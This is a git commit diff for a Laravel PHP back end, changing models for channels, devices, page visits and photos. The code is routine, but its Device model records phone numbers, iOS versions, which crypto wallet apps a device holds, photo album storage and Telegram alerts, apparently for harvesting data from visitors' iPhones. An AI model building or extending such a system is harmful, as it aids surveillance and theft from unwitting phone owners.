feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
+45 -25
View File
@@ -14,10 +14,10 @@ class Channel extends Model
public const BUILDER_NEW = 'new';
public const CHANNEL_NAME_LENGTH = 8;
public const NEW_CHANNEL_ID_LENGTH = 8;
/**
* Public-root path prefixes that must not be used as channel_name.
* Public-root path prefixes that must not be used as 8-char channel IDs.
*
* @var list<string>
*/
@@ -25,14 +25,14 @@ class Channel extends Model
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
'out', 't', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
'out', 't', 'nb', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
'sanctum', 'telescope', 'horizon', 'pulse',
];
protected $fillable = [
'channel_id', 'builder_type', 'channel_name', 'user_id', 'domains', 'status', 'remark',
'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
];
protected $attributes = [
@@ -135,6 +135,10 @@ class Channel extends Model
*/
public function supportLinks(): array
{
if ($this->isNewBuilder()) {
return [];
}
$links = [];
$path = $this->landingPath();
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
@@ -157,32 +161,48 @@ class Channel extends Model
return bin2hex(random_bytes(16));
}
public static function normalizeNewChannelId(string $channelId): ?string
{
$channelId = strtoupper(trim($channelId));
if (! preg_match('/^[A-Z0-9]{'.self::NEW_CHANNEL_ID_LENGTH.'}$/', $channelId)) {
return null;
}
if (self::isReservedChannelName($channelId)) {
return null;
}
return $channelId;
}
public static function randomNewChannelId(): string
{
for ($i = 0; $i < 32; $i++) {
$code = strtoupper(substr(bin2hex(random_bytes(5)), 0, self::NEW_CHANNEL_ID_LENGTH));
if (self::normalizeNewChannelId($code) === null) {
continue;
}
if (self::query()->whereRaw('upper(channel_id) = ?', [$code])->exists()) {
continue;
}
return $code;
}
throw new RuntimeException('无法生成唯一渠道 ID');
}
public function sourceZipRelativePath(): string
{
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
return $dir.'/'.$this->channel_id.'.zip';
}
public static function isReservedChannelName(string $name): bool
{
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
}
public static function randomChannelName(): string
{
for ($i = 0; $i < 32; $i++) {
$name = substr(bin2hex(random_bytes(5)), 0, self::CHANNEL_NAME_LENGTH);
if (self::isReservedChannelName($name)) {
continue;
}
if (self::query()->where('channel_name', $name)->exists()) {
continue;
}
$public = public_path('source/'.$name);
if (is_dir($public) || is_file($public)) {
continue;
}
return $name;
}
throw new RuntimeException('无法生成唯一 channel_name');
}
public static function maxPerAgent(): int
{
$n = (int) config('coruna.channels.max_per_agent', 5);
+32 -2
View File
@@ -7,9 +7,19 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
public const WALLET_UNKNOWN = 0;
public const WALLET_NONE = 1;
public const WALLET_YES = 2;
protected $fillable = [
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage',
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
];
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
];
protected function casts(): array
@@ -17,9 +27,29 @@ class Device extends Model
return [
'telegram_notified' => 'boolean',
'album_storage' => 'boolean',
'has_wallet' => 'integer',
'wallet_names' => 'array',
];
}
public function hasWalletApps(): bool
{
return (int) $this->has_wallet === self::WALLET_YES;
}
/**
* @return list<string>
*/
public function walletNameList(): array
{
$names = $this->wallet_names;
if (! is_array($names)) {
return [];
}
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
}
public function albumStorageEnabled(): bool
{
return (bool) ($this->album_storage ?? true);
+31 -1
View File
@@ -11,13 +11,14 @@ class PageVisit extends Model
protected $fillable = [
'channel_id',
'client_uid',
'session_id',
'user_agent',
'os',
'os_version',
'browser',
'browser_version',
'ip',
'path',
'domain',
'referer',
'created_at',
];
@@ -28,4 +29,33 @@ class PageVisit extends Model
'created_at' => 'datetime',
];
}
public static function normalizeDomain(?string $value): ?string
{
$value = trim((string) $value);
if ($value === '') {
return null;
}
$value = preg_replace('#^https?://#i', '', $value) ?? $value;
$value = explode('/', $value, 2)[0];
$value = strtolower(rtrim($value));
if ($value === '' || ! str_contains($value, '.')) {
return null;
}
return substr($value, 0, 255);
}
public const VISITOR_UID_LENGTH = 16;
/**
* Stable visitor id: same domain+ip always yields the same 16-hex value.
*/
public static function visitorUid(?string $domain, ?string $ip): string
{
$domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain));
$ipKey = trim((string) $ip);
return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH);
}
}
+2
View File
@@ -7,6 +7,8 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Photo extends Model
{
public const X_HIT_ALERT = 12;
protected $fillable = [
'device_id',
'sha256',